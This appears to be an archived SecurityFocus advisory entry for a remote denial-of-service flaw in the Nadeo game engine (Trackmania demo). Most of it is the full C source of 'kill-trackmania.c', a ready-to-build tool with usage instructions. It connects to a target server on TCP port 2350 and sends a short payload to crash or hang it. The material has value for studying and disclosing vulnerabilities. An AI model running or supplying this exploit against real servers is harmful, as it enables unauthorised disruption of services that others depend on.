source: http://www.securityfocus.com/bid/9604/info

It has been reported that Nadeo Game Engine may be prone to a remote denial of service vulnerability that could allow an attacker to cause the software to crash or hang by sending arbitrary data to the software on TCP port 2350.

Nadeo Trackmania demo version has been reported to be affected by this issue.

/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@securiteinfo.com
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

}